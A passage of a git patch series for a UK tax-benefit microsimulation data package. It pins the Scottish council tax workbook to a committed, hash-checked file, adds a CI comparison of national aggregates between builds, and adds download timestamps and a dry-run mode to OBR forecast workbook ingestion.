-    for match in _SCOTLAND_WORKBOOK_LINK.finditer(r.text):
-        url = urljoin(_SCOTLAND_REF, unescape(match.group(1)))
-        if url not in urls:
-            urls.append(url)
-    return urls
-
-
-@lru_cache(maxsize=1)
-def _download_scotland_workbook() -> openpyxl.Workbook:
-    errors: list[str] = []
-
-    def try_url(url: str) -> openpyxl.Workbook | None:
-        for attempt in range(3):
-            try:
-                r = requests.get(
-                    url,
-                    headers=HEADERS,
-                    allow_redirects=True,
-                    timeout=60,
-                )
-                return _load_xlsx_response(r)
-            except Exception as error:
-                errors.append(f"{url}: {error}")
-                if attempt < 2:
-                    time.sleep(2**attempt)
-        return None
-
-    workbook = try_url(_SCOTLAND_WORKBOOK_URL)
-    if workbook is not None:
-        return workbook
+def _scotland_workbook() -> openpyxl.Workbook:
+    """The committed Scottish workbook, if and only if its bytes are the ones named."""
+    from policyengine_uk_data.storage import STORAGE_FOLDER
 
-    for url in _scotland_workbook_urls_from_page():
-        workbook = try_url(url)
-        if workbook is not None:
-            return workbook
-
-    raise ValueError(
-        "Could not download Scotland council tax workbook. Recent errors: "
-        + " | ".join(errors[-3:])
-    )
+    path = STORAGE_FOLDER / _SCOTLAND_WORKBOOK_FILE
+    if not path.is_file():
+        raise FileNotFoundError(f"the Scottish council tax workbook {path} is missing")
+    data = path.read_bytes()
+    digest = hashlib.sha256(data).hexdigest()
+    if digest != _SCOTLAND_WORKBOOK_SHA256:
+        raise ValueError(
+            f"{path} has sha256 {digest}, not {_SCOTLAND_WORKBOOK_SHA256}; update "
+            "_SCOTLAND_WORKBOOK_SHA256 together with the file"
+        )
+    return openpyxl.load_workbook(BytesIO(data), data_only=True)
 
 
 def _to_float(value) -> float:
@@ -166,25 +105,10 @@ def _to_float(value) -> float:
     return 0.0
 
 
-def _fallback_scotland_band_counts() -> dict[str, float]:
-    counts = {
-        band: _SCOTLAND_FALLBACK_TOTAL_2025 * share
-        for band, share in _SCOTLAND_FALLBACK_BAND_SHARES_2024_25.items()
-    }
-    counts["Total"] = _SCOTLAND_FALLBACK_TOTAL_2025
-    return counts
-
-
 def _get_scotland_band_counts() -> dict[str, float]:
-    try:
-        scotland_ws = _download_scotland_workbook()["Chargeable Dwellings 2025"]
-    except Exception as error:
-        logger.warning(
-            "Using fallback Scotland council tax band distribution: %s",
-            error,
-        )
-        return _fallback_scotland_band_counts()
-
+    scotland_ws = _scotland_workbook()["Chargeable Dwellings 2025"]
+    if str(scotland_ws.cell(row=8, column=1).value).strip() != "Scotland":
+        raise ValueError("the Scottish council tax workbook's row 8 is not Scotland")
     scotland_row = 8
     scotland_col_index = {
         "A": 2,
diff --git a/policyengine_uk_data/tests/test_voa_council_tax.py b/policyengine_uk_data/tests/test_voa_council_tax.py
index 79a9001b..05b27eb9 100644
--- a/policyengine_uk_data/tests/test_voa_council_tax.py
+++ b/policyengine_uk_data/tests/test_voa_council_tax.py
@@ -1,111 +1,77 @@
+"""The Scottish council tax band targets come from the committed workbook only.
+
+They used to come from a live gov.scot download, with a fixed substitute
+distribution whenever the download failed. Builds of the same code then
+calibrated to different Scottish targets (#596).
+"""
+
 from __future__ import annotations
 
-from io import BytesIO
+import shutil
 
-import openpyxl
 import pytest
+from hypothesis import HealthCheck, given, settings
+from hypothesis import strategies as st
 
+from policyengine_uk_data.storage import STORAGE_FOLDER
 from policyengine_uk_data.targets.sources import voa_council_tax
 
-
-class DummyResponse:
-    def __init__(
-        self,
-        content: bytes = b"",
-        *,
-        text: str = "",
-        url: str = "https://example.test/file.xlsx",
-        content_type: str = "application/octet-stream",
-    ):
-        self.content = content
-        self.text = text
-        self.url = url
-        self.headers = {"content-type": content_type}
-
-    def raise_for_status(self):
-        return None
-
-
-def _workbook_bytes() -> bytes:
-    workbook = openpyxl.Workbook()
-    worksheet = workbook.active
-    worksheet.title = "Chargeable Dwellings 2025"
-    worksheet.cell(row=8, column=10).value = 2_623_149
-    out = BytesIO()
-    workbook.save(out)
-    return out.getvalue()
-
-
-def test_scotland_workbook_download_falls_back_to_source_page(monkeypatch):
-    voa_council_tax._download_scotland_workbook.cache_clear()
-    calls = []
-
-    def fake_get(url, **kwargs):
-        calls.append(url)
-        if len(calls) <= 3:
-            return DummyResponse(
-                b"<html>temporary bad response</html>",
-                url=url,
-                content_type="text/html",
-            )
-        if url == voa_council_tax._SCOTLAND_REF:
-            return DummyResponse(
-                text=(
-                    '<a href="/binaries/content/documents/govscot/publications/'
-                    "statistics/2019/04/council-tax-datasets/documents/"
-                    "number-of-chargeable-dwellings/"
-                    "chargeable-dwellings---september-2025-data/"
-                    "chargeable-dwellings---september-2025-data/"
-                    "govscot%3Adocument/"
-                    "CTAXBASE%2B2025%2B-%2BTables%2B-%2B"
-                    'Chargeable%2BDwellings.xlsx">download</a>'
-                ),
-                url=url,
-                content_type="text/html",
-            )
-        return DummyResponse(
-            _workbook_bytes(),
-            url=url,
-            content_type=(
-                "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
-            ),
-        )
-
-    monkeypatch.setattr(voa_council_tax.requests, "get", fake_get)
-    monkeypatch.setattr(voa_council_tax.time, "sleep", lambda _: None)
-
-    workbook = voa_council_tax._download_scotland_workbook()
-
-    assert workbook["Chargeable Dwellings 2025"].cell(row=8, column=10).value == (
-        2_623_149
-    )
-    assert calls[:3] == [voa_council_tax._SCOTLAND_WORKBOOK_URL] * 3
-    assert voa_council_tax._SCOTLAND_REF in calls
-
-
-def test_load_xlsx_response_reports_bad_content_type():
-    with pytest.raises(ValueError, match="Expected an XLSX workbook"):
-        voa_council_tax._load_xlsx_response(
-            DummyResponse(
-                b"<html>not a workbook</html>",
-                content_type="text/html",
-            )
-        )
-
-
-def test_scotland_band_counts_fall_back_when_gov_scot_blocks(monkeypatch):
-    def raise_blocked():
-        raise ValueError("CloudFront challenge")
-
-    monkeypatch.setattr(
-        voa_council_tax,
-        "_download_scotland_workbook",
-        raise_blocked,
-    )
-
+# The workbook's Scotland row (Number of Chargeable Dwellings, September 2025).
+PUBLISHED = {
+    "A": 498_707,
+    "B": 583_705,
+    "C": 426_388,
+    "D": 369_621,
+    "E": 366_881,
+    "F": 221_282,
+    "G": 142_084,
+    "H": 14_481,
+    "Total": 2_623_149,
+}
+
+
+def test_scotland_band_counts_are_the_committed_workbook():
     counts = voa_council_tax._get_scotland_band_counts()
-
-    assert counts["Total"] == voa_council_tax._SCOTLAND_FALLBACK_TOTAL_2025
-    band_sum = sum(counts[band] for band in "ABCDEFGH")
-    assert band_sum == pytest.approx(counts["Total"])
-    assert counts["B"] > counts["H"]
+    assert counts == PUBLISHED
+    assert sum(counts[band] for band in "ABCDEFGH") == counts["Total"]
+
+
+def test_no_download_is_attempted(monkeypatch):
+    def refuse(*args, **kwargs):
+        raise AssertionError("the Scottish workbook must not be downloaded")
+
+    monkeypatch.setattr(voa_council_tax.requests, "get", refuse)
+    assert voa_council_tax._get_scotland_band_counts()["Total"] == 2_623_149
+
+
+@settings(
+    max_examples=20,
+    deadline=None,
+    suppress_health_check=[HealthCheck.function_scoped_fixture],
+)
+@given(data=st.data())
+def test_any_change_to_the_workbook_bytes_fails(tmp_path, monkeypatch, data):
+    """No substitute distribution: other bytes stop the build."""
+    target = tmp_path / voa_council_tax._SCOTLAND_WORKBOOK_FILE
+    target.parent.mkdir(parents=True, exist_ok=True)
+    original = (STORAGE_FOLDER / voa_council_tax._SCOTLAND_WORKBOOK_FILE).read_bytes()
+    i = data.draw(st.integers(0, len(original) - 1))
+    target.write_bytes(original[:i] + bytes([original[i] ^ 0x01]) + original[i + 1 :])
+    monkeypatch.setattr("policyengine_uk_data.storage.STORAGE_FOLDER", tmp_path)
+    with pytest.raises(ValueError, match="sha256"):
+        voa_council_tax._get_scotland_band_counts()
+
+
+def test_a_missing_workbook_fails(tmp_path, monkeypatch):
+    monkeypatch.setattr("policyengine_uk_data.storage.STORAGE_FOLDER", tmp_path)
+    with pytest.raises(FileNotFoundError):
+        voa_council_tax._get_scotland_band_counts()
+
+
+def test_the_committed_workbook_still_reads_after_a_copy(tmp_path, monkeypatch):
+    """Positive control for the two tests above: identical bytes elsewhere pass."""
+    target = tmp_path / voa_council_tax._SCOTLAND_WORKBOOK_FILE
+    target.parent.mkdir(parents=True, exist_ok=True)
+    shutil.copyfile(STORAGE_FOLDER / voa_council_tax._SCOTLAND_WORKBOOK_FILE, target)
+    monkeypatch.setattr("policyengine_uk_data.storage.STORAGE_FOLDER", tmp_path)
+    assert voa_council_tax._get_scotland_band_counts() == PUBLISHED

From b4ec4b5b37fbea0b911202e6969fe1a522258673 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 08:15:07 -0400
Subject: [PATCH 24/76] Compare each build's national aggregates with its
 base's, model fixed

Both builds are measured with policyengine-uk's aggregate-impact tool at
a pinned commit (policyengine-uk#2425, stacked on #2335), under the head's
locked model: receipts by tax head, spending and caseloads, poverty,
inequality, deciles and the ten standard reform costings, 2025-26 to
2031-32. The comparison job runs `compare --axis data`, which fails unless
both sides ran one model, runtime and set of definitions, and adds the
result to the PR comment. It fails on a check the head breaks that the
base passes. Only each side's result.json (aggregates) is uploaded; the
tool's private household detail stays on the runner.

Under the locked 2.122.2 the tool falls back to policyengine-uk main's
partition, whose lists differ from that model's, so closure and two
identities fail on both sides (pre-existing) until uk-data locks a model
that ships its own partition.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .github/workflows/pull_request.yaml           | 89 +++++++++++++++++++
 .../aggregate-data-comparison.added.md        |  1 +
 policyengine_uk_data/tests/test_fit_report.py | 10 ++-
 3 files changed, 99 insertions(+), 1 deletion(-)
 create mode 100644 changelog.d/aggregate-data-comparison.added.md

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index c1a63b81..8027a6da 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -93,6 +93,31 @@ jobs:
         with:
           name: distribution_report.json
           path: distribution_report.json
+      - name: Check out the aggregate-impact tool
+        uses: actions/checkout@v6
+        with:
+          repository: PolicyEngine/policyengine-uk
+          ref: f642d6668ea6984ddbbbc98734dbec743c9295cc
+          path: pe-uk-tool
+          sparse-checkout: |
+            policyengine_uk/utils/aggregate_impact
+            policyengine_uk/data/fiscal_partition.yaml
+      - name: Measure national aggregates with the model fixed
+        run: |
+          tool="$RUNNER_TEMP/tool"
+          mkdir -p "$tool"
+          cp -R pe-uk-tool/policyengine_uk/utils/aggregate_impact "$tool/pe_uk_aggregate_impact"
+          model="policyengine-uk==$(uv run --frozen python -c 'import importlib.metadata as m; print(m.version("policyengine-uk"))')"
+          PYTHONPATH="$tool" uv run --frozen python -m pe_uk_aggregate_impact measure \
+            --label head --dataset-file policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --dataset-label "this pull request's build" \
+            --fallback-partition pe-uk-tool/policyengine_uk/data/fiscal_partition.yaml \
+            --no-guard --git-sha "$model" --out "$RUNNER_TEMP/aggregate" || true
+          cp "$RUNNER_TEMP/aggregate/result.json" aggregate_result.json
+      - name: Save the aggregate result (aggregates only)
+        uses: actions/upload-artifact@v7
+        with:
+          name: aggregate_result.json
+          path: aggregate_result.json
       - name: Save calibration log (constituencies)
         uses: actions/upload-artifact@v7
         with:
@@ -111,6 +136,11 @@ jobs:
           # Relaxes built-dataset outcome tolerances to match the reduced
           # fidelity of the TESTING build above (see test_cgt_band_donors).
           TESTING: "1"
+  # The policyengine-uk aggregate-impact tool (policyengine_uk/utils/
+  # aggregate_impact) at a pinned commit measures each build with the locked
+  # model, and the comparison job compares them with the model fixed
+  # (`compare --axis data`). Only result.json leaves a job; its private/
+  # folder (household detail) stays on the runner.
   # The no-worsening check (W3). The base is built the same way as the head:
   # TESTING, one clone and the head's lockfile, so both builds run one model
   # and environment and the comparison measures the data change. Only the
@@ -170,6 +200,31 @@ jobs:
         with:
           name: base_distribution_report.json
           path: base_distribution_report.json
+      - name: Check out the aggregate-impact tool
+        uses: actions/checkout@v6
+        with:
+          repository: PolicyEngine/policyengine-uk
+          ref: f642d6668ea6984ddbbbc98734dbec743c9295cc
+          path: pe-uk-tool
+          sparse-checkout: |
+            policyengine_uk/utils/aggregate_impact
+            policyengine_uk/data/fiscal_partition.yaml
+      - name: Measure national aggregates with the model fixed
+        run: |
+          tool="$RUNNER_TEMP/tool"
+          mkdir -p "$tool"
+          cp -R pe-uk-tool/policyengine_uk/utils/aggregate_impact "$tool/pe_uk_aggregate_impact"
+          model="policyengine-uk==$(uv run --frozen --project base python -c 'import importlib.metadata as m; print(m.version("policyengine-uk"))')"
+          PYTHONPATH="$tool" uv run --frozen --project base python -m pe_uk_aggregate_impact measure \
+            --label base --dataset-file base/policyengine_uk_data/storage/enhanced_frs_2024_25.h5 --dataset-label "the base's build" \
+            --fallback-partition pe-uk-tool/policyengine_uk/data/fiscal_partition.yaml \
+            --no-guard --git-sha "$model" --out "$RUNNER_TEMP/aggregate" || true
+          cp "$RUNNER_TEMP/aggregate/result.json" base_aggregate_result.json
+      - name: Save the aggregate result (aggregates only)
+        uses: actions/upload-artifact@v7
+        with:
+          name: base_aggregate_result.json
+          path: base_aggregate_result.json
   fit-comparison:
     name: Calibration fit against the base
     needs: [test, base-build]
@@ -210,6 +265,21 @@ jobs:
           pattern: "*distribution_report.json"
           path: reports
           merge-multiple: true
+      - name: Download the aggregate results
+        uses: actions/download-artifact@v8
+        continue-on-error: true
+        with:
+          pattern: "*aggregate_result.json"
+          path: aggregates
+          merge-multiple: true
+      - name: Check out the aggregate-impact tool
+        uses: actions/checkout@v6
+        with:
+          repository: PolicyEngine/policyengine-uk
+          ref: f642d6668ea6984ddbbbc98734dbec743c9295cc
+          path: pe-uk-tool
+          sparse-checkout: |
+            policyengine_uk/utils/aggregate_impact
       - name: Compare the final fits
         id: compare
         env:
@@ -244,6 +314,25 @@ jobs:
           else
             { echo; echo "The income distribution and single-age reports are missing for one build."; } >> fit.md
           fi
+          # National aggregates with the model fixed.
+          tool="$RUNNER_TEMP/tool"
+          mkdir -p "$tool" aggregates/base aggregates/head
+          cp -R pe-uk-tool/policyengine_uk/utils/aggregate_impact "$tool/pe_uk_aggregate_impact"
+          if [ -f aggregates/base_aggregate_result.json ] && [ -f aggregates/aggregate_result.json ]; then
+            mv aggregates/base_aggregate_result.json aggregates/base/result.json
+            mv aggregates/aggregate_result.json aggregates/head/result.json
+            set +e
+            PYTHONPATH="$tool" uv run --frozen python -m pe_uk_aggregate_impact compare --axis data \
+              --base aggregates/base --head aggregates/head --markdown aggregates.md --run-url "$RUN_URL"
+            aggregate_status=$?
+            set -e
+            # The tool's comment marker belongs to policyengine-uk's own comment.
+            { echo; grep -v '^<!-- policyengine-uk-aggregate-impact -->' aggregates.md; } >> fit.md
+            if [ "$aggregate_status" != 0 ]; then echo "status=1" >> "$GITHUB_OUTPUT"; fi
+          else
+            { echo; echo "The national aggregate results are missing for one build."; } >> fit.md
+            echo "status=1" >> "$GITHUB_OUTPUT"
+          fi
           cat fit.md >> "$GITHUB_STEP_SUMMARY"
       - name: Post or update the pull request comment
         if: ${{ !cancelled() && github.event.pull_request.head.repo.full_name == github.repository }}
diff --git a/changelog.d/aggregate-data-comparison.added.md b/changelog.d/aggregate-data-comparison.added.md
new file mode 100644
index 00000000..e15b5d1f
--- /dev/null
+++ b/changelog.d/aggregate-data-comparison.added.md
@@ -0,0 +1 @@
+Compare each pull request build's national aggregates (receipts, spending, caseloads, poverty, deciles and the standard reform costings) with its base build's, measured with the locked model by policyengine-uk's aggregate-impact tool, and report them in the pull request comment.
diff --git a/policyengine_uk_data/tests/test_fit_report.py b/policyengine_uk_data/tests/test_fit_report.py
index 21ccf262..cc7b795b 100644
--- a/policyengine_uk_data/tests/test_fit_report.py
+++ b/policyengine_uk_data/tests/test_fit_report.py
@@ -99,8 +99,16 @@ def test_the_pull_request_workflow_uploads_only_aggregate_reports():
             if uses.startswith("actions/upload-artifact"):
                 uploads.append(step["with"]["path"])
     assert uploads and all(
-        p.endswith(("calibration_log.csv", "distribution_report.json")) for p in uploads
+        p.endswith(
+            ("calibration_log.csv", "distribution_report.json", "aggregate_result.json")
+        )
+        for p in uploads
     ), uploads
+    # The aggregate tool writes household detail under private/; only its
+    # result.json is copied out for upload.
+    text = workflow.read_text()
+    assert 'cp "$RUNNER_TEMP/aggregate/result.json"' in text
+    assert "private" not in " ".join(uploads)
     assert jobs["fit-comparison"]["needs"] == ["test", "base-build"]
 
 

From 2fb5cfa1cbcff806193d7eac9b50b6ff70ff75ad Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 08:19:54 -0400
Subject: [PATCH 25/76] Record each browser download's time, and rehearse
 ingest with --dry-run

obr.uk refuses scripted downloads, so on Budget day a person downloads the
two EFO workbooks in a browser. The manifest now records each workbook's
download time with its SHA-256 and size: the file's modification time,
which a browser sets on saving, unless --downloaded-at is given. `ingest
--dry-run` checks everything and prints titles, hashes, sizes, download
times and every target's change, writing nothing; on the active vintage
it says whether the bytes match the committed workbooks, so a March 2026
download rehearses the Budget-day path.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/targets/obr_sources.py   | 103 +++++++++++++++---
 .../tests/test_obr_sources.py                 |  75 +++++++++++++
 2 files changed, 165 insertions(+), 13 deletions(-)

diff --git a/policyengine_uk_data/targets/obr_sources.py b/policyengine_uk_data/targets/obr_sources.py
index 03afbbd9..10fc4bc1 100644
--- a/policyengine_uk_data/targets/obr_sources.py
+++ b/policyengine_uk_data/targets/obr_sources.py
@@ -19,15 +19,23 @@
     python -m policyengine_uk_data.targets.obr_sources ingest \\
         --vintage october_2026 --label "October 2026" \\
         --receipts receipts.xlsx --expenditure expenditure.xlsx \\
-        --first-year 2025 --last-year 2031
+        --first-year 2025 --last-year 2031 --dry-run
 
 obr.uk refuses scripted downloads (HTTP 403 to GitHub Actions runners, as
-11e41f9d records, and to a developer machine on 2026-10-15), so download
-the two workbooks in a browser and pass their paths. ``ingest`` copies them under ``storage/obr_efo/<vintage>/``,
-checks that each workbook's title names the vintage, parses them with the
-build's own parsers, and requires the targets the current manifest
-requires. It then writes the manifest and prints each target's change from
-the current vintage. Point ``sources.yaml`` at the new manifest to adopt it.
+11e41f9d records, and to a developer machine on 2026-10-15), so a person
+downloads the two "detailed forecast tables" workbooks in a browser and
+passes their paths. ``--dry-run`` checks everything and prints each
+workbook's title, SHA-256, size and download time and every target's old
+and new value, writing nothing. It also says whether the bytes match the
+committed workbooks when the vintage is the active one, which makes a
+March 2026 download a rehearsal. Without ``--dry-run``, ``ingest`` parses
+the workbooks in a staging folder and then copies them under
+``storage/obr_efo/<vintage>/``. It requires each workbook's title to name
+the vintage, and requires the targets the current manifest requires. It
+writes the manifest with each file's SHA-256, size and download time (the
+file's modification time unless ``--downloaded-at`` is given) and never
+replaces an ingested vintage. Point ``sources.yaml`` at the new manifest to
+adopt it.
 """
 
 from __future__ import annotations
@@ -38,7 +46,7 @@
 import re
 import sys
 from dataclasses import dataclass
-from datetime import date
+from datetime import date, datetime, timezone
 from functools import lru_cache
 from pathlib import Path
 from typing import Mapping, Optional, Sequence
@@ -71,6 +79,8 @@ class SourceFile:
     title: str  # the workbook's own title, cell B2 of its Contents sheet
     url: str
     retrieved: str
+    # When the file was downloaded (ISO 8601 with a UTC offset), if known.
+    downloaded_at: Optional[str] = None
 
 
 @dataclass(frozen=True)
@@ -120,6 +130,7 @@ def parse_manifest(raw: Mapping, path: Optional[Path] = None) -> ObrManifest:
             title=str(entry["title"]),
             url=str(entry["url"]),
             retrieved=str(entry["retrieved"]),
+            downloaded_at=_timestamp(entry.get("downloaded_at"), f"{where}: {kind}"),
         )
     required, alternatives = [], []
     for item in (raw.get("targets") or {}).get("required") or []:
@@ -148,6 +159,22 @@ def parse_manifest(raw: Mapping, path: Optional[Path] = None) -> ObrManifest:
     )
 
 
+def _timestamp(value, where: str) -> Optional[str]:
+    """An ISO 8601 time with a UTC offset, or None."""
+    if value is None:
+        return None
+    text = value.isoformat() if isinstance(value, datetime) else str(value)
+    try:
+        parsed = datetime.fromisoformat(text)
+    except ValueError as error:
+        raise SourceError(
+            f"{where}: downloaded_at {text!r} is not an ISO 8601 time"
+        ) from error
+    if parsed.tzinfo is None:
+        raise SourceError(f"{where}: downloaded_at {text!r} needs a UTC offset")
+    return parsed.isoformat()
+
+
 def check_names(vintage: str, label: str, titles: Mapping[str, str], where: str):
     """The vintage, its label and each workbook's own title must agree.
 
@@ -396,6 +423,7 @@ def _manifest_yaml(manifest: ObrManifest, alternatives_raw) -> str:
                 "title": f.title,
                 "url": f.url,
                 "retrieved": f.retrieved,
+                **({"downloaded_at": f.downloaded_at} if f.downloaded_at else {}),
             }
             for kind, f in manifest.files.items()
         },
@@ -424,9 +452,17 @@ def ingest(
     storage: Optional[Path] = None,
     manifest_dir: Optional[Path] = None,
     retrieved: Optional[str] = None,
+    downloaded_at: Optional[Mapping[str, str]] = None,
+    dry_run: bool = False,
 ):
     """Adopt a vintage's two workbooks. Returns (manifest, manifest path, diff).
 
+    Each workbook's SHA-256, size and download time go into the manifest.
+    The download time is ``downloaded_at[kind]`` if given, otherwise the
+    file's modification time, which a browser sets when it saves a download.
+    With ``dry_run`` everything is checked and the diff returned, but
+    nothing is written; the manifest returned is not on disk.
+
     Everything is checked in a staging folder first: both workbooks read
     and carry the vintage's titles, and the build's parsers yield every
     required target and year from them. Only then are the files copied
@@ -440,10 +476,13 @@ def ingest(
     current = current or active_manifest()
     storage = Path(storage or _storage())
     manifest_dir = Path(manifest_dir or MANIFEST_DIR)
-    retrieved = retrieved or f"ingested {date.today().isoformat()}"
+    retrieved = retrieved or (
+        f"downloaded in a browser and ingested on {date.today().isoformat()}"
+    )
+    downloaded_at = dict(downloaded_at or {})
     destination = storage / "obr_efo" / vintage
     path = manifest_dir / f"obr_{vintage}.yaml"
-    if destination.exists() or path.exists():
+    if not dry_run and (destination.exists() or path.exists()):
         raise SourceError(
             f"{vintage} is already ingested ({destination} or {path} exists); "
             "remove it deliberately before ingesting again"
@@ -468,6 +507,13 @@ def ingest(
             title=titles[kind],
             url=urls.get(kind, ""),
             retrieved=retrieved,
+            downloaded_at=_timestamp(
+                downloaded_at.get(kind)
+                or datetime.fromtimestamp(
+                    Path(sources[kind]).stat().st_mtime, tz=timezone.utc
+                ),
+                f"ingest: {kind}",
+            ),
         )
     check_names(vintage, label, titles, "ingest")
     manifest = ObrManifest(
@@ -493,6 +539,8 @@ def ingest(
         manifest,
         [[sorted(group) for group in groups] for groups in current.alternatives],
     )
+    if dry_run:
+        return manifest, path, target_diff(old, new)
     destination.mkdir(parents=True)
     for kind in KINDS:
         (storage / files[kind].path).write_bytes(data[kind])
@@ -518,7 +566,17 @@ def main(argv=None) -> int:
     i.add_argument("--expenditure-url", default="")
     i.add_argument("--first-year", required=True, type=int)
     i.add_argument("--last-year", required=True, type=int)
-    i.add_argument("--retrieved", help="how and when the files were obtained")
+    i.add_argument("--retrieved", help="how the files were obtained")
+    i.add_argument(
+        "--downloaded-at",
+        help="when the workbooks were downloaded (ISO 8601 with offset); "
+        "default: each file's modification time",
+    )
+    i.add_argument(
+        "--dry-run",
+        action="store_true",
+        help="check everything and print the change, but write nothing",
+    )
     v = sub.add_parser("verify", help="verify the active manifest's workbooks")
     v.add_argument("--manifest", help="manifest file (default: the active one)")
     args = parser.parse_args(argv)
@@ -538,12 +596,31 @@ def main(argv=None) -> int:
         first_year=args.first_year,
         last_year=args.last_year,
         retrieved=args.retrieved,
+        downloaded_at={kind: args.downloaded_at for kind in KINDS}
+        if args.downloaded_at
+        else None,
+        dry_run=args.dry_run,
     )
-    print(f"wrote {path}")
+    for kind, f in manifest.files.items():
+        print(
+            f"{kind}: {f.title}; sha256 {f.sha256}, {f.size_bytes:,} bytes, "
+            f"downloaded {f.downloaded_at}"
+        )
+    print(f"{'would write' if args.dry_run else 'wrote'} {path}")
     print("target,year,current £bn,new £bn")
     for row in diff:
         print(f"{row['target']},{row['year']},{_gbp(row['old'])},{_gbp(row['new'])}")
-    print(f"To adopt it, set obr.manifest in sources.yaml to {path.name}.")
+    if not args.dry_run:
+        print(f"To adopt it, set obr.manifest in sources.yaml to {path.name}.")
+    else:
+        current = active_manifest()
+        if manifest.vintage == current.vintage:
+            for kind, f in manifest.files.items():
+                same = f.sha256 == current.files[kind].sha256
+                print(
+                    f"{kind}: {'the same bytes as' if same else 'different bytes from'} "
+                    f"the committed {current.label} workbook"
+                )
     return 0
 
 
diff --git a/policyengine_uk_data/tests/test_obr_sources.py b/policyengine_uk_data/tests/test_obr_sources.py
index d541befc..5a9d9056 100644
--- a/policyengine_uk_data/tests/test_obr_sources.py
+++ b/policyengine_uk_data/tests/test_obr_sources.py
@@ -452,3 +452,78 @@ def test_a_workbook_target_without_the_vintage_fails_coverage(march_targets):
     problems = coverage_problems(list(march_targets) + [extra], MANIFEST)
     assert "obr/unversioned carries vintage None, not 'march_2026'" in problems
     assert "obr/unversioned was built but is not in the manifest" in problems
+
+
+def test_ingest_records_each_download_time(tmp_path):
+    """A browser download is hash-bound and timed: the file's modification
+    time by default, or the time given."""
+    import os
+
+    sources = _sources(tmp_path)
+    from datetime import datetime, timezone
+
+    when = datetime(2026, 10, 18, 12, tzinfo=timezone.utc).timestamp()
+    for path in sources.values():
+        os.utime(path, (when, when))
+    manifest, path, _ = _ingest(tmp_path, sources=sources)
+    assert {f.downloaded_at for f in manifest.files.values()} == {
+        "2026-10-18T12:00:00+00:00"
+    }
+    assert "downloaded_at: '2026-10-18T12:00:00+00:00'" in path.read_text()
+    (tmp_path / "again").mkdir()
+    manifest, _, _ = _ingest(
+        tmp_path / "again",
+        downloaded_at={
+            "receipts": "2026-10-28T13:05:00+00:00",
+            "expenditure": "2026-10-28T13:06:00+00:00",
+        },
+    )
+    assert manifest.files["receipts"].downloaded_at == "2026-10-28T13:05:00+00:00"
+    with pytest.raises(SourceError, match="UTC offset"):
+        _ingest(
+            tmp_path / "again",
+            vintage="march_2026",
+            downloaded_at={
+                "receipts": "2026-10-28T13:05:00",
+                "expenditure": "2026-10-28T13:06:00+00:00",
+            },
+            dry_run=True,
+        )
+
+
+def test_a_dry_run_checks_everything_and_writes_nothing(tmp_path):
+    manifest, path, diff = _ingest(tmp_path, dry_run=True)
+    assert manifest.vintage == "march_2026"
+    assert diff and all(row["old"] == row["new"] for row in diff)
+    assert not path.exists()
+    assert not (tmp_path / "storage" / "obr_efo").exists()
+    # A dry run still refuses workbooks that do not carry the vintage.
+    with pytest.raises(SourceError, match="not the October 2026 EFO receipts"):
+        _ingest(tmp_path, vintage="october_2026", label="October 2026", dry_run=True)
+
+
+def test_the_rehearsal_command_runs_on_the_committed_march_workbooks(tmp_path, capsys):
+    """The Budget-day command, end to end, on downloads of the active vintage."""
+    sources = _sources(tmp_path)
+    code = obr_sources.main(
+        [
+            "ingest",
+            "--vintage",
+            "march_2026",
+            "--label",
+            "March 2026",
+            "--receipts",
+            str(sources["receipts"]),
+            "--expenditure",
+            str(sources["expenditure"]),
+            "--first-year",
+            "2024",
+            "--last-year",
+            "2030",
+            "--dry-run",
+        ]
+    )
+    out = capsys.readouterr().out
+    assert code == 0
+    assert "the same bytes as the committed March 2026 workbook" in out
+    assert "would write" in out

From b6c83c4ee492859d437707b5a66c45a95d3cc4c9 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 08:33:37 -0400
Subject: [PATCH 26/76] Measure HBAI incomes as DWP does; fail on incomplete
 reports

Sol review of #600:
- Negative incomes before housing costs are reset to zero, and income
  after housing costs is derived from the adjusted figure (DWP HBAI
  methodology FYE 2025, "Negative incomes"). Weekly amounts use 365.25 / 7,
  as the FRS loader annualises them.
- A report missing any reference measure, or with a missing or
  non-finite single-age summary, fails the comparison.
- A missing distribution report fails the job.

On uk-data 1.58.1, four of 14 measures are now outside their intervals
(both Gini coefficients, child low income BHC and AHC); median AHC moves
inside.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .github/workflows/pull_request.yaml           |  1 +
 .../tests/test_distribution_validation.py     | 45 ++++++++++++++++
 .../utils/distribution_validation.py          | 51 +++++++++++++++++--
 3 files changed, 94 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index c1a63b81..23d28aeb 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -243,6 +243,7 @@ jobs:
             if [ "$distribution_status" != 0 ]; then echo "status=1" >> "$GITHUB_OUTPUT"; fi
           else
             { echo; echo "The income distribution and single-age reports are missing for one build."; } >> fit.md
+            echo "status=1" >> "$GITHUB_OUTPUT"
           fi
           cat fit.md >> "$GITHUB_STEP_SUMMARY"
       - name: Post or update the pull request comment
diff --git a/policyengine_uk_data/tests/test_distribution_validation.py b/policyengine_uk_data/tests/test_distribution_validation.py
index 3c86db33..ae8103a8 100644
--- a/policyengine_uk_data/tests/test_distribution_validation.py
+++ b/policyengine_uk_data/tests/test_distribution_validation.py
@@ -160,3 +160,48 @@ def test_compare_fails_on_a_broken_or_mismatched_report(change, message):
     result = compare(_report(), head)
     assert result["status"] == "fail"
     assert any(message in f for f in result["failures"])
+
+
+def test_negative_incomes_before_housing_costs_are_reset_to_zero_as_hbai_does():
+    """Sol review of #600: HBAI resets negative BHC to zero and derives AHC from
+    the adjusted figure, so AHC can still be negative."""
+    from policyengine_uk_data.utils.distribution_validation import (
+        WEEKS_PER_YEAR,
+        hbai_incomes,
+    )
+
